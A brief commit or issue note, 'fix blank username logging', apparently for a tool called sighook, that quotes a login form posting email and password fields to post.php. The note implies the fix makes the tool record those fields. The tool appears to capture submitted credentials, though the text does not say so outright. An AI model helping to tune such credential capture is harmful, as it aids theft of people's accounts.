fix blank username logging

[sighook]

Since the form sends email/password fields:

<form action="post.php" method="POST" class="">
[skipped]
<input type="text" placeholder="E-mail" autocomplete="email" name="email" value="" class="controls valid" tabindex="2">
[skipped]
<input type="password" placeholder="Password" autocomplete="current-password" name="password" value="" class="controls valid" tabindex="3">